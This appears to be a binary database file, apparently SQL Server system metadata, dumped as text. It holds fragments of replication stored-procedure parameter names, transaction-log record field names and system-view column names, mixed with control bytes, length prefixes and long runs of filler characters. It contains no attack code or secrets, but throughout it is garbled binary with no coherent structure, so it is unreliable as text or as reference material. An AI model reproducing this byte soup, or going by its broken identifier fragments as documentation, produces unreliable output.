Q@tablenickname0-=	hh[@handle_null_tables0-=
@O@nicknamelist!!!!!!!!!!!!!!!!!!!!!_PUY|9>[z1	LCZs,O
;l'XD

u
0
aM
~
9
		j	%	VBs._K~;r/f#`-y$)zI$j0-1^..IFormat LSN0-1_ERowsetId0-1`CTextPtr0-1a88
OColumn Offset0-1b88
?Flags0-1cGText Size0-1dAOffset0-1eEOld Size0-1fENew Size0-1gKDescription0-1h88
kBulk allocated extent count0-1iOBulk RowsetId0-1jUBulk AllocUnitId0-1kwBulk allocation first IAM Page ID0-1lgBulk allocated extent ids0-1m``IVLFs added0-1n88
YInvalidateCache Id0-1o]InvalidateCache keys0-1poCopyVerionInfo Source Page Id0-1q..qCopyVerionInfo Source Page LSN0-1r88
oCopyVerionInfo Source Slot Id0-1s88
uCopyVerionInfo Source Slot Count0-1t@@WRowLog Contents 00-1u@@WRowLog Contents 10-1v@@WRowLog Contents 20-1w@@WRowLog Contents 30-1x@@WRowLog Contents 40-1y@@WRowLog Contents 50-1z44]Compression Log Type0-1{@@UCompression Info0-1|44[PageFormat PageType0-1}44]PageFormat PageFlags0-1~44]PageFormat PageLevel0-144[PageFormat PageStat0-144cPageFormat FormatOption0-1@@ILog Record!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![@

3
		(	z#WwR	+G1`=-C)
{30-D
188
Cpool_id0-D
188
Kbuffer_size0-D
188
Umin_buffer_limit0-D
188
Umax_buffer_limit0-D
188
Mbuffer_count0-
R1G@flush_ts0-
R1U@cleanup_version0-
R188
G@rowcount0-
R1==S@date_cleanedup0-?]Q@database_name0-?]88
G@alert_id0-?]88
I@threshold0-?]hhE@enabled0-+Z88
Cpool_id0-+Z44Sprocessor_group0-+ZQscheduler_mask0-	I@indexonly0-	G@fullscan0-M@norecompute0-vQtransaction_id0-vetransaction_sequence_num0-vhhctransaction_is_snapshot0-vkfirst_snapshot_sequence_num0-volast_transaction_sequence_num0-vgfirst_useful_sequence_num0-v88
Kpdw_node_id0-/)OS@procedure_name0-/)OU@procedure_owner0-/)O]@procedure_qualifier0-/)OM@column_name0-/)O88
E@ODBCVer0-/)OhhM@fUsePattern0-w=dK@table_name0-w=dO@table_schema0-w=dM@column_name0-D00?@mode0-DG@certname0-DI@publisher0-DO@publisher_db0-DM@publication0-@M@publication0-@E@article0-@C@column0-@
I@operation0-@88
c@refresh_synctran_procs0-@hh[@ignore_distributor0-@88
Q@change_active0-@hhi@force_invalidate_snapshot0-@	hhi@force_reinit_subscription0-@
hhG@internal0-M@publication0-E@article0-I@publisher0-M8I@publisher0-I@publisher0-O@publisher_db0-M@publication0-:u?@name0-:uhhM@show_distdb0-:uhhY@exclude_anonymous-:88
0-:88
K@session_id0-:88
G@phase_id0-x(G@job_type0-U$$A@pubid0-U88
Q@schemaversion0-U$$K@schemaguid[@destination_object0-Y@destination_owner0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-88
Y@subscription_type0-hh[@run_at_distributor0-U@last_xact_seqno0-	Y@subscription_guid0-
A@subid0-D00?@mode0-DG@certname0-DI@publisher0-DO@publisher_db0-DM@publication0-C@dbname0-?@type0-hhG@reserved0-88
S@lower_bound_id0-00K@agent_type0-hhO@is_publisher0-I@publisher0-
?@type-0-M@publication0-E@article0-E@coltype0-@M@publication0-@E@article0-@C@column0-@
I@operation0-@88
c@refresh_synctran_procs0-@hh[@ignore_distributor0-@88
Q@change_actJv
a

r
-
q(As&Du_Vn/(

l_A
		R	E,C`-o2)|m'xCK0-
"..WRepl Min Hold LSN0-
#88
IServer UID0-
$88
=SPID0-
%SBeginlog Status0-
&88
GXact Type0-
'00IBegin Time0-
(BBUTransaction Name0-
)UUSTransaction SID0-
*_Parent Transaction ID0-
+mOldest Active Transaction ID0-
,CXact ID0-
-88
MXact Node ID0-
.88
YXact Node Local ID0-
/CEnd AGE0-
000EEnd Time0-
1..WTransaction Begin0-
2YReplicated Records0-
3..WOldest Active LSN0-
4KServer Name0-
5ODatabase Name0-
6BBGMark Name0-
788
WRepl Partition ID0-
888
IRepl Epoch0-
9ERepl CSN0-
:88
IRepl Flags0-
;@@ERepl Msg0-
<OMaster XDESID0-
=88
KMaster DBID0-
>..WPreplog Begin LSN0-
?00MPrepare Time0-
@OVirtual Clock0-
A..YPrevious Savepoint0-
BBBQSavepoint Name0-
C44WRowbits First Bit0-
D44WRowbits Bit Count0-
EWRowbits Bit Value0-
F44SNumber of Locks0-
GULock Information0-
H..WLSN before writes0-
I44OPages Written0-
J88
MCommand Type0-
K88
QPublication ID0-
L88
IArticle ID0-
M88
QPartial Status0-
N44CCommand0-
O44KByte Offset0-
PGNew Value0-
QGOld Value0-
RQNew Split Page0-
S44MRows Deleted>e"

7
DE

F
		Q	`DW\}$'u =`~-)}0-?@tsql0-C@params0-00e@browse_information_mode0-W&88
Q@cursor_return0-W&
K@table_name0-W&M@column_name0-@C@object0-I@oldregkey0-«@Y@bool_filterclause0-«@k@bool_filterclause_modified0-G@viewname0-I@ownername0-G@procname0-A@rgcol0-$$A@pubid0-$$A@artidGWs0`t-})~8r!0-(88
Ierror_type0-)<4<Serror_type_desc`-9)60-kcovering_parent_action_name0-[configuration_level0-_containing_group_name0-	hhOaction_in_log0-I$$Egroup_id0-I4Sprimary_replica0-I00cprimary_recovery_health0-Ixxmprimary_recovery_health_desc0-I00gsecondary_recovery_health0-Ixxqsecondary_recovery_health_desc0-I00asynchronization_health0-Ixxksynchronization_health_desc0-W@qual_object_name0-88
A@objid0-_@pass_through_scripts0- K@objecttype0-3hhW@upgrade_metadata0-3hhO@upgrade_done0-3ǗE@article0-3ǗM@publication0-3ǗhhQ@creation_mode0-3ǗhhG@is_debug0-3ǗhhA@alter0-3ǗhhI@usesqlclr0-8Z@Q@originator_id0-8ZY@origin_datasource0-8ZPE@tran_id0-8Z&C@row_id0-8ZS@conflict_table0-dM@publication0-dI@publisher0-dO@publisher_db0-88
K@request_id0-M@publication0-U@originator_node0-Q@originator_db0-EZI@publisher0-EZI@pubdbname0-EZe@publisher_linked_server0-EZhh[@drop_linked_server0-88
]@num_genhistory_rows0-88
Y@num_contents_rows0-88
[@num_tombstone_rows0-hhe@aggressive_cleanup_only0-L$$A@pubid0-$$A@pubid0-88
G@nickname0-M@publication0-O@article_name0-i88
O@partition_id-000-ll&U@ident_increment0-ll&Q@used_till_now0-ll&M@range_begin0-ll&I@range_end0-ll&W@next_range_begin0-ll&S@next_range_end_@enabled_for_internet0-!
K@allow_push0-!
K@allow_pull0-!

U@allow_anonymous0-!
U@allow_sync_tran0-!
[@autogen_sync_procs0-!88
I@retention0-!
Y@allow_queued_tran0-!
i@snapshot_in_defaultfolder0-!]@alt_snapshot_folder0-!]@pre_snapshot_script0-!_@post_snapshot_script0-!
Y@compress_snapshot0-!M@ftp_address0-!88
G@ftp_port0-!W@ftp_subdirectory0-!I@ftp_login0-!O@ftp_password0-!
I@allow_dts0-!
e@allow_subscription_copy0-!U@conflict_policy0-!
a@centralized_conflicts0-! 88
[@conflict_retention0-!!K@queue_type0-!"e@add_to_active_directory0-!#[@logreader_job_name0-!$W@qreader_job_name0-!%I@publisher0-!&
o@allow_initialize_from_backup0-!'88
Q@replicate_ddl0-!(
U@enabled_for_p2p0-!)
k@publish_local_changes_only0-!*
]@enabled_for_het_sub0-!+
a@p2p_conflictdetection0-!,88
Y@p2p_originator_id0-!-
e@p2p_continue_onconflict0-3ǗE@article0-3ǗM@publicationA3Z
,
v
x7Q
N


m$	k	&	|u<ly"d
w&n-~1
&`T)z
N _61"@fname1961 @fname261"@fname2061"@fname2161"@fname2261"@fname2361"@fname2461"@fname2561"@fname2661"@fname2761 "@fname2861!"@fname2961 @fname361""@fname3061#"@fname3161$"@fname3261%"@fname3361&"@fname3461'"@fname3561("@fname3661)"@fname3761*"@fname3861+"@fname3961 @fname461,"@fname4061-"@fname4161."@fname4261/"@fname43610"@fname44611"@fname45612"@fname46613"@fname47614"@fname48615"@fname4961	 @fname5616"@fname50617"@fname51618"@fname52619"@fname5361:"@fname5461;"@fname5561<"@fname5661="@fname5761>"@fname5861?"@fname5961
 @fname661@"@fname6061A"@fname6161B"@fname6261C"@fname6361D"@fname6461 @fname761 @fname861
 @fname961 @seqnum61@start61(AllocUnitId61
,AllocUnitName612Checkpoint Begin61.Checkpoint End61>CHKPT Begin DB Version61:CHKPT End DB Version61 Context61%0Beginlog Status61'&Begin Time61J*Command Type61L&Article ID61N Command61O(Byte Offset61T(Bytes Freed61U(CI Table Id61V(CI Index Id61a,Column Offset61hHBulk allocated extent count61i,Bulk RowsetId61j2Bulk AllocUnitId61kTBulk allocation first IAM Page ID61lDBulk allocated extent ids61pLCopyVerionInfo Source Page Id61qNCopyVerionInfo Source Page LSN61rLCopyVerionInfo Source Slot Id61sRCopyVerionInfo Source Slot Count61z:Compression Log Type61{2Compression Infoax_pages_in_bytes6_ .memory_node_id6_ <memory_object_address6_ name6_ >page_allocator_address6_ 
6page_size_in_bytes6_ .pages_in_bytes6_ .parent_address6_ *sequence_num6_ type61HOldest Replicated Begin LSN61@Next Replicated End LSN61 PLast Distributed Backup End LSN61!BLast Distributed End LSN61"4Repl Min Hold LSN61#&Server UID61$SPID61%0Beginlog Status61&$Xact Type61'&Begin Time61(2Transaction Name61)0Transaction SID61*<Parent Transaction ID61+JOldest Active Transaction ID61, Xact ID61-*Xact Node ID61.6Xact Node Local ID61/ End AGE610"End Time6114Transaction Begin6126Replicated Records6134Oldest Active LSN614(Server Name615,Database Name616$Mark Name6174Repl Partition ID618&Repl Epoch619"Repl CSN61:&Repl Flags61;"Repl Msg61<,Master XDESID61=(Master DBID61>4Preplog Begin LSN61?*Prepare Time61@,Virtual Clock61A6Previous Savepoint61B.Savepoint Name61C4Rowbits First Bit61D4Rowbits Bit Count61E4Rowbits Bit Value61F0Number of Locks61G2Lock Information61H4LSN before writes61I,Pages Written61J*Command Type61K.Publication ID61L&Article ID61M.Partial Status61N Command61O(Byte Offset61P$New Value61Q$Old Value61R.New Split Page61S*Rows Deleted61T(Bytes Freed61U(CI Table Id61V(CI Index Id61W.NewAllocUnitId61X*FileGroup ID61Y(Meta Status61Z(File Status61[ File ID61\,Physical Name61]*Logical Name61^&Format LSN61_"RowsetId61` TextPtr61a,Column Offset61bFlags61c$Text Size61dOffset61e"Old Size61f"New Size61g(Description61hHBulk allocated extent count61i,Bulk RowsetId61j2Bulk AllocUnitId61kTBulk allocation first IAM Page ID61lDBulk allocated extent ids61m&VLFs added61n6InvalidateCache Id61o:InvalidateCache keys61pLCopyVerionInfo Source Page Id61qNCopyVerionInfo Source Page LSN61rLCopyVerionInfo Source Slot Id61sRCopyVerionInfo Source Slot Count61z:Compression Log Typeb
		z	N V	p"
H
\		l

D
n@		
>
	6		|\<rR0dB xV4jH&|Z8nL*`S).g61(Current LSN615,Database Name61g(Description61(Dirty Pages61/ End AGE610"End Time61[ File ID61Z(File Status61X*FileGroup ID61
$Flag Bits61bFlags61^&Format LSN61n6InvalidateCache Id61o:InvalidateCache keys61 PLast Distributed Backup End LSN61!BLast Distributed End LSN61G2Lock Information61@Log Record Fixed Length614Log Record Length61(Log Reserve616LogBlockGeneration61]*Logical Name61H4LSN before writes616$Mark Name61=(Master DBID61<,Master XDESID61&Max XDESID61Y(Meta Status61(Minimum LSN61(Modify Size61f"New Size61R.New Split Page61P$New Value61W.NewAllocUnitId61@Next Replicated End LSN61*Num Elements612Num Transactions61F0Number of Locks61dOffset61,Offset in Row61e"Old Size61Q$Old Value6134Oldest Active LSN61+JOldest Active Transaction ID61HOldest Replicated Begin LSN61$Operation61 Page ID61I,Pages Written61*<Parent Transaction ID61M.Partial Status61(PartitionId61\,Physical Name61?*Prepare Time61>4Preplog Begin LSN61	*Previous LSN614Previous Page LSN61A6Previous Savepoint61K.Publication ID619"Repl CSN618&Repl Epoch61:&Repl Flags61"4Repl Min Hold LSN61;"Repl Msg6174Repl Partition ID6126Replicated Records61D4Rowbits Bit Count61E4Rowbits Bit Value61C4Rowbits First Bit61"RowFlags61S*Rows Deleted61_"RowsetId61B.Savepoint Name614(Server Name61#&Server UID61 Slot ID61$SPID61"Tag Bits61c$Text Size61` TextPtr6114Transaction Begin61.Transaction ID61(2Transaction Name61)0Transaction SID61@,Virtual Clock61m&VLFs added61, Xact ID61-*Xact Node ID61.6Xact Node Local ID61&$Xact Type6_ &bytes_used6_ 2creation_options6_ 
>creation_stack_address6_ 	,creation_time6_ 6max_pages_in_bytes6_ .memory_node_id6_ <memory_object_address6_ name6_ >page_allocator_address6_ 
6page_size_in_bytes6_ .pages_in_bytes6_ .parent_address6_ *sequence_num6_ type61t4RowLog Contents 061u4RowLog Contents 161v4RowLog Contents 261w4RowLog Contents 361x4RowLog Contents 461y4RowLog Contents 561|8PageFormat PageType61}:PageFormat PageFlags61~:PageFormat PageLevel618PageFormat PageStat61@PageFormat FormatOption61&Log Record6$,@table_server6$.@table_catalog6$(@table_name6$,@table_schema6$*@column_name6ȑ&@dbms_name6ȑ,@dbms_version6ȑ$@sql_type6ȑ*@source_prec6*@source_dbms60@source_version6*@source_type6.@source_length64@source_precision6,@source_scale62@source_nullable64@destination_dbms6	:@destination_version6
4@destination_type68@destination_length6>@destination_precision6
6@destination_scale6<@destination_nullable6v&@publisher6v @silent6stmt6"reftable6&refcollist6(refcolcount6 stmtend6@objid6@refid6 @fkname6@name6*@show_distdb66@exclude_anonymous6=&@publisher6=,@publisher_db6=*@publication6="@genlist6=&@commongen6=$@subissql6=0@articlesoption6=.@tablenickname6=	8@handle_null_tables6=
,@nicknamelist6= @mingen6= @maxgen6=
*@skipgenlist6=*@belongsname6=0@notbelongsname6=*@compatlevel6=>@enumentirerowmetadata6E(@guidstring6E0@qualified_name6E(@rowguidcol6E&@tablenick6E.@inserttrigger!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!L$x.r4zNl(TB`(Vp<*VTpFv6x\.T^4`2



~
^
8

L|Ht@nL


|
F

			^	6		,d\rP$z:pH N$R TfF$`	|])
rKt6-:virtual_machine_type6-Dvirtual_machine_type_desc6-4virtual_memory_kb6-	4visible_target_kb6V`16lock_owner_address6V`1
@request_exec_context_id6V`12request_lifetime6V`1*request_mode6V`16request_owner_guid6V`12request_owner_id6V`1Frequest_owner_lockspace_id6V`16request_owner_type6V`1
@request_reference_count6V`16request_request_id6V`16request_session_id6V`1	.request_status6V`1*request_type6V`1Lresource_associated_entity_id6V`1:resource_database_id6V`1:resource_description6V`1@resource_lock_partition6V`12resource_subtype6V`1,resource_type6NN(cached_time6NN(database_id6NN	0execution_count6NN4last_elapsed_time6NN8last_execution_time6NN6last_logical_reads6NN8last_logical_writes6NN8last_physical_reads6NN2last_worker_time6NN2max_elapsed_time6NN4max_logical_reads6NN6max_logical_writes6NN6max_physical_reads6NN
0max_worker_time6NN2min_elapsed_time6NN4min_logical_reads6NN6min_logical_writes6NN6min_physical_reads6NN0min_worker_time6NN$object_id6NN(plan_handle6NN&sql_handle6NN6total_elapsed_time6NN8total_logical_reads6NN:total_logical_writes6NN:total_physical_reads6NN
4total_worker_time6NNtype6NN$type_desc67(object_name67*counter_name67,instance_name67&cntr_value67$cntr_type67(pdw_node_id6!n(@table_name6b,@program_name6b2@constraint_name6b.@parent_schema6b*@parent_name6(f$@is_biton69O@pubid69O@artid69O$@syncstat69O(@xact_seqno6]@artid6]@tabid6]@colid6]@type6] @status6fH@*@publication6fH@"@article6fH@.@rowcount_only6fH@,@full_or_fast6fH@0@shutdown_agent6fH@8@subscription_level6fH@$@reserved6fH@&@publisher6fH@	0@publisher_type6.O&@publisher6.O,@publisher_db6\D>@closed_high_end_point6\D*@column_list6\D4@update_flag_list6_2*@publication6_2(@subscriber6_2.@subscriber_db6_2(@web_server6@H@pubid6@H:@compatibility_leveltee6(@table_name6,@table_schema6(@table_type6 @object60@command_stringdV6&@bitstring6	V>&@ownername6	V>&@tablename6xk*@tabid6?:@objid6?:@artid6?:*@clause_type6?: @ts_col6?: @indent6?:"@op_type6?:8@primary_key_bitmap6C@objid6C"@op_type6C @indent6C&@fisqueued64@objid64*@version_col64 @indent648@primary_key_bitmap6ғ@name6ғ$@database69n&@curdistdb6*@publication6b,@program_name6b2@constraint_name6b.@parent_schema6b*@parent_name6(f$@is_biton
6
4@len_minorversion666@colid67r*@distributor67r8@heartbeat_interval67r$@password67r0@from_scripting69O@pubid69O@artid69O$@syncstat69O(@xact_seqno6"*@publication6"@@activate_articles_only6"&@publisher6"0@publisher_type6*@publication6]@artid6]@tabid6]@colid6]@type6] @status6xO"@article6xO0@destination_db6xO@found6I*@publication6I"@article6S@objid6S@artid6S2@identity_insert6S @prefix6S @suffix64*@publication64"@article64@objid64(@queued_pub6x*@publication6x2@tracer_token_id6x&@publisher6fH@*@publication6fH@"@article6fH@.@rowcount_only6fH@,@full_or_fast6fH@0@shutdown_agent6fH@8@subscription_level6fH@$@reserved6fH@&@publisher6fH@	0@publisher_typeKSB6KSB,@publisher_id6KSB,@publisher_db6KSB*@publication6KSB0@publication_id6.O&@publisher6.O,@publisher_db6\D>@closed_high_end_point6\D*@column_list

\
b0



f
>



z
@

		r	J	&	V$T"J^8>H
T.
v&
>jr2Lr<N|F`W)j)v-e6
&$Xact Type6< ag_name6>h"ag_db_id6>h&ag_db_name6>hag_id6>h.truncation_lsn6<ag_id6<.ag_resource_id6<(ag_group_id6c+name6c+(description6@id6@status6@path6@"max_size6@$stop_time6@$max_files6@$is_rowset6@(is_rollover6@	(is_shutdown6@
&is_default6@*buffer_count6@(buffer_size6@
,file_position6@(reader_spid6@&start_time6@0last_event_time6@(event_count6@8dropped_event_count6@geog6%FL @server6%FL"@catalog6%FL @schema6%FL@table6%FL@name6%FL"@grantor6%FL"@grantee6%FL GRANTOR6%FL GRANTEE6%FL,TABLE_CATALOG6%FL*TABLE_SCHEMA6%FL&TABLE_NAME6%FL(COLUMN_NAME6%FL(COLUMN_GUID6%FL,COLUMN_PROPID6%FL	.PRIVILEGE_TYPE6%FL
*IS_GRANTABLE6*@type_schema6
BCHARACTER_MAXIMUM_LENGTH6>CHARACTER_OCTET_LENGTH6<CHARACTER_SET_CATALOG66CHARACTER_SET_NAME6K.@database_name6K"@file_id
36
3@lsn6Zi&@publisher6 Z&@publisher6 Z*@publisherdb6 Z*@publication6 Z$@procname6 Z(@proc_owner6 Z"@cftproc6 Z@objid6 Z"@op_type6 Z	 @indent6 Z
,@identity_col6 Z @ts_col6 Z8@primary_key_bitmap6 Z
(@pubversion6f*&@object_id6f*$@forceset6b&@publisher6b,@source_owner6b,@source_table6*@publication6"@article6$@procname6@alter6(@article_id6.@useAlterTable6&@useUnique6"@verbose6,.m*@publication6,.m"@article6,.m$@property6,.m@value6,.mF@force_invalidate_snapshot6,.mF@force_reinit_subscription6k*@publication6k,@partition_id6k4@maxgen_whenadded6k8@host_name_override6k<@suser_sname_override6sd@tname6sd@pname6@pubid6@artid6@@recreate_conflict_proc6Ao@objid6Ao(@sync_objid6Ao"@colname6Ao(@colordinal6&"@recguid6& @existsme6 Z(@proc_owner6 Z"@cftproc6 Z@objid6 Z"@op_type6 Z	 @indent6 Z
,@identity_col6 Z @ts_col6 Z8@primary_key_bitmap6 Z
(@pubversion6&@publisher6,@publisher_db6*@publication64@backupdevicetype64@backupdevicename6.@mediapassword6$@password6(@fileidhint6 @unload64@backupservername60@backupdatabase6	"@lastlsn6f*&@object_id6f*$@forceset6b&@publisher6b,@source_owner6b,@source_table6*@publication6"@article6$@procname6@alter6 @job_id64@dts_package_name6<@dts_package_password6<@dts_package_location6(@article_id6.@useAlterTable6&@useUnique6VԴ&@publisher6VԴ@owner6VԴ@table6VԴ(@columnmask6VԴ&@rowfilter6VԴ0@publisher_type6C$@agent_id6C(@agent_type6C,@profile_name6(@originator6.@originator_db6@@originator_publication6F@originator_publication_id6>@originator_db_version60@originator_lsn68@originator_version6.@originator_id6"@verbose6Ũ@pubid6Ũ*@column_list6Ũ,@source_objid6Ũ(@guid_alias6ŨZ@include_logical_record_link_columns6,.m*@publication6,.m"@article6,.m$@property6,.m@value6,.mF@force_invalidate_snapshot6,.mF@force_reinit_subscription6B*@publication6B@found6B0@publication_id6B$@reserved6B&@publisher6B,@publisher_db6@pubid6<@upload_before_reinit6k*@publication6k,@partition_id6k4@maxgen_whenadded6k8@host_name_override6k<@suser_sname_override6@pubid6$@property6@value6sd@tname6sd@pname6@pubid6@artid6@@recreate_conflict_proc6Ao@objid\D
 

b

`

	<	f		
		
4
	8^$B^R6
4V2|N
DxZ8~8`f<d(F|P*^6`	^)F
O[66&@filegroup6(@filegrowth6$@filename6$@filetype6"@maxsize6@name6@size67lcid678thesaurus_file_path6T$object_id6T,physical_name6{$object_id6{$schema_id6{2procedure_number6{type6{4PROCEDURE_CATALOG6{2PROCEDURE_SCHEMA6{.PROCEDURE_NAME6{.PARAMETER_NAME6{	2ORDINAL_POSITION6{
.PARAMETER_TYPE6{:PARAMETER_HASDEFAULT6{4PARAMETER_DEFAULT6{
(IS_NULLABLE6{$DATA_TYPE6{BCHARACTER_MAXIMUM_LENGTH6{>CHARACTER_OCTET_LENGTH6{4NUMERIC_PRECISION6{,NUMERIC_SCALE6{(DESCRIPTION6{$TYPE_NAME6{0LOCAL_TYPE_NAME6{XSS_XML_SCHEMACOLLECTION_CATALOGNAME6{VSS_XML_SCHEMACOLLECTION_SCHEMANAME6{HSS_XML_SCHEMACOLLECTIONNAME6{6SS_UDT_CATALOGNAME6{4SS_UDT_SCHEMANAME6{(SS_UDT_NAME6{BSS_UDT_ASSEMBLY_TYPENAME6{:SS_TYPE_CATALOG_NAME6{6SS_TYPE_SCHEMANAME6{4MANAGED_DATA_TYPE6{ <SS_DATETIME_PRECISION6H\(@scriptfile6H\@cmd6*@publication6"@article6 @column6&@operation68@ignore_distributor6.@change_active6F@force_invalidate_snapshot6	F@force_reinit_subscription6
&@publisher6$@internal6FK@type6FK$@agent_id6FK(@originator6FK.@originator_db6FKF@originator_publication_id6FK>@originator_db_version6FK0@originator_lsn6bT@mode6bT4@secondary_server6bT8@secondary_database6bT,@secondary_id6bT0@primary_server6bT0@monitor_server6bTL@monitor_server_security_mode6bT4@primary_database6bT	6@restore_threshold6bT
2@threshold_alert6bTB@threshold_alert_enabled6bT4@last_copied_file6bT
4@last_copied_date6bT<@last_copied_date_utc6bT8@last_restored_file6bT8@last_restored_date6bT@@last_restored_date_utc6bT>@last_restored_latency6bTD@history_retention_period6bT:@ignoreremotemonitor6@subid6@artid6,@is_pub_range64@ranges_allocated6*@range_begin6&@range_end64@next_range_begin60@next_range_end6	*@publication6
(@subscriber6.@subscriber_db6<@repid,@queue_server6@colv6'$@database6H\(@scriptfile6H\@cmd!6!@id6!@type6!@tag61f/6@nvarcharmaxscript6*@publication6"@article6 @column6&@operation6@@refresh_synctran_procs68@ignore_distributor6.@change_active6F@force_invalidate_snapshot6	F@force_reinit_subscription6
&@publisher6$@internal6o&@job_login6o,@job_password6o$@job_name6oB@publisher_security_mode6o2@publisher_login6o8@publisher_password6o&@publisher6h,@publisher_id6h,@publisher_db6`h&@publisher6`h,@publisher_db6`h(@subscriber6`h(@article_id6`h.@subscriber_db6`h*@publication6`h"@article6/P&@publisher6/P,@publisher_db6/P&@tablename6/P4@identity_support6/P8@pub_identity_range6/P0@identity_range6/P&@threshold6/P&@next_seed6/P	,@max_identity6FK@type6FK$@agent_id6FK(@originator6FK.@originator_db6FKF@originator_publication_id6FK>@originator_db_version6FK0@originator_lsn6bT@mode6bT4@secondary_server6bT8@secondary_database6bT,@secondary_id6bT0@primary_server6bT0@monitor_server6bTL@monitor_server_security_mode6bT4@primary_database6bT	6@restore_threshold6bT
2@threshold_alert6bTB@threshold_alert_enabled6bT4@last_copied_file6bT
4@last_copied_date6bT<@last_copied_date_utc6bT8@last_restored_file6bT8@last_restored_date6bT@@last_restored_date_utc6bT>@last_restored_latency6bTD@history_retention_period6bT:@ignoreremotemonitor6.
	T
<			t	jllF,:zHB>bx
T


hjPx`0L.

JV
v"
Th44`p-)Od\64is_case_sensitive66is_computed_column6Bis_fixed_length_clr_type6$is_hidden66is_identity_column6(is_nullable6<is_part_of_unique_key6 :is_sparse_column_set6,is_updateable60is_xml_document6&max_length6name6">order_by_is_descending6#:order_by_list_length6!Bordinal_in_order_by_list6$precision6	scale6,source_column60source_database6,source_schema6,source_server6*source_table6.system_type_id62system_type_name66user_type_database6*user_type_id6.user_type_name6
2user_type_schema6@xml_collection_database64xml_collection_id68xml_collection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6Vȼ :is_sparse_column_set6Vȼ,is_updateable6Vȼ0is_xml_document6Vȼ&max_length6Vȼname6Vȼ">order_by_is_descending6Vȼ#:order_by_list_length6Vȼ!Bordinal_in_order_by_list6Vȼ$precision6Vȼ	scale6Vȼ,source_column6Vȼ0source_database6Vȼ,source_schema6Vȼ,source_server6Vȼ*source_table6Vȼ.system_type_id6Vȼ2system_type_name6Vȼ6user_type_database6Vȼ*user_type_id6Vȼ.user_type_name6Vȼ
2user_type_schema6Vȼ@xml_collection_database6Vȼ4xml_collection_id6Vȼ8xml_collection_name6Vȼ<xml_collection_schema6@lcid6:@loadOnlyIfNotLoaded6,frame_address6(frame_index6,stack_address6cG$@clauseno6cGdocid6cGscore6$(@table_name6$*@column_name6o/$@filename6o/$@numfiles6o/&BinaryData6o/&DatabaseID6o/&LineNumber6o/&NTUserName6o/*NTDomainName6o/"HostName6o/	0ClientProcessID6o/
0ApplicationName6o/$LoginName6o/
"Duration6o/ EndTime6o/Reads6o/CPU6o/(Permissions6o/,EventSubClass6o/"ObjectID6o/ IndexID6o/(IntegerData6o/&ServerName6o/&EventClass6o/&ObjectType6o/$NestLevel6o/Error6o/ Mode6o/!Handle6o/"&ObjectName6o/#*DatabaseName6o/$"FileName6o/%$OwnerName6o/&"RoleName6o/(&DBUserName6o/)"LoginSid6o/,4ColumnPermissions6o/-2LinkedServerName6o/.*ProviderName6o//&MethodName6o/0$RowCounts6o/1$RequestID6o/3,EventSequence6o/4(BigintData16o/5(BigintData26o/6GUID6o/7*IntegerData26o/8$ObjectID26o/: OwnerID6o/;&ParentName6o/<"IsSystem6o/=Offset6o/A&PlanHandle6o/B GroupID6 @string62@quote_character68@qual_source_object6@pubid68@article_level_only6"@upgrade6
*@publication6
$@category6&@publisher6,@publisher_db6*@publication6(@agent_name6w@objid6w&@publisher6w,@publisher_db6w*@publication6w$@trigname6w$@procname6w(@proc_owner6w"@cftproc6w	$@agent_id6w
,@identity_col6w @ts_col6w.@filter_clause6w
8@primary_key_bitmap6w(@pubversion6w @falter6&@publisher6,@publisher_db6*@publication6$@reserved6B@publisherlinkusertodrop6
*@publication6
(@subscriber6
.@subscriber_db6
&@publisher6
- @job_id6
-(@agent_type&6&,@unit_of_time6&"@curdate6&&@startdate;6;"@tableid6;*@publisherid6c(@profile_id6c,@profile_name6c(@agent_type6c,@profile_type6c*@description6c"@default6&@dbms_name6,@dbms_version6$@sql_type6*@source_prec*6* @pstrin6*-*@publication6>&@filter_id6͈(@session_id6L&@publisher6L,@publisher_db6L*@publication6L"@article6o@gen6o$@art_nick6o"@genguid6o$@replnick6v@pubid6vR@publication_compatibility_level6v,@feature_name6v*@buildnumberW6W@byte6W@locequence6o/4(BigintData16o/5(BigintData26o/6GUID6o/7*IntegerData26o/8$ObjectID26o/9Type6o/: OwnerID6o/;&ParentName6o/<"IsSystem6o/=Offset6o/>2SourceDatabaseID6o/?$SqlHandle6o/@2SessionLoginName6o/A&PlanHandle6o/B GroupID63\(database_id63\$object_id63\$handle_id63\2file_object_type63\<file_object_type_desc63\>correlation_process_id63\<correlation_thread_id63\*file_context6

h
	8
:*
D4~
Zb
	
f

	L`"R

~		r
0	L$
`	(Tt:.x JlPjHld,NDp0ZzVn6*.@dLDf8xN"~Z`0f0`"r)>68(cursor_rows68	*fetch_status68.last_operation68model68(open_status68$row_count68&scrollable68status69*cursor_handl69*cursor_scope69.reference_name6:Jcolumn_characteristics_flags6:(column_name6:2column_precision6:*column_scale6:(column_size6:"columnid6:,cursor_handle6:,data_type_sql6:dbid6:dbname6:,hidden_column6:
"objectid6:
